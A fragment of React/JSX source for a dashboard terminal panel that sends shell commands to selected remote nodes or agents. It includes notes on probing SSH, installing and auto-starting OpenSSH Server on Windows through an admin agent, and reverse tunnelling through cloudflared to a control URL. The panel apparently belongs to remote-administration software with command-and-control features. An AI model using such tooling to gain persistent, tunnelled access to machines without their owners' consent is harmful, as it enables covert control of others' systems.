TERMINAL {selectedIds.size === 0 ? '— select nodes above —' : `→ ${selectedIds.size} node${selectedIds.size > 1 ? 's' : ''}: ${selectedAgents.slice(0, 3).map((a) => a.name).join(', ')}${selectedAgents.length > 3 ? ` +${selectedAgents.length - 3}` : ''}` }
{termLines.length === 0 && (
Select nodes · type a command · press Enter
)} {termLines.map((line) => { const color = agentColor(line.agentId, allIds); const dim = line.targeted === false; return (
{line.agentName.slice(0, 12).padEnd(12)} {line.isCmd ? '▶' : '◀'} {line.richData ? ( {renderRichData(line.richData, line.agentName)} ) : ( {line.text} )} {line.ts.toLocaleTimeString()}
); })}
[{shellType === 'powershell' ? 'PS' : shellType === 'exec' ? 'CMD' : 'SH'}]$ setCmd(e.target.value)} onKeyDown={handleKey} placeholder={selectedIds.size === 0 ? 'select a node first…' : 'command…'} disabled={busy || selectedIds.size === 0} spellCheck={false} autoComplete="off" />
{/* ── SSH Access Info ─────────────────────────────────────────────── */}
SSH ACCESS NOTES
1
Probe — click "Probe SSH" to test if port 22 is open on the target machine.
2
Wake SSH (Windows) — installs OpenSSH Server via Windows capability, starts the service, marks it auto-start. Requires admin agent.
3
Connect directly — if you're on the same LAN, ssh user@<ip>. Node IP is shown on each card.
4
Remote (via tunnel) — use Protocol Tunneling or tunnel_cloudflared so the node dials out through Cloudflare to your control URL.
{singleSelectedAgent && ( { await api.sendAgentCommand(singleSelectedAgent.id, action, args); setTermLines((prev) => [ ...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `${action} → ${singleSelectedAgent.name}`, ts: new Date(), }, ]); }} /> )} setShowGroupModal(false)} onCreate={(name, color) => { addGroup(name, color, [...selectedIds]); setShowGroupModal(false); }} />
); }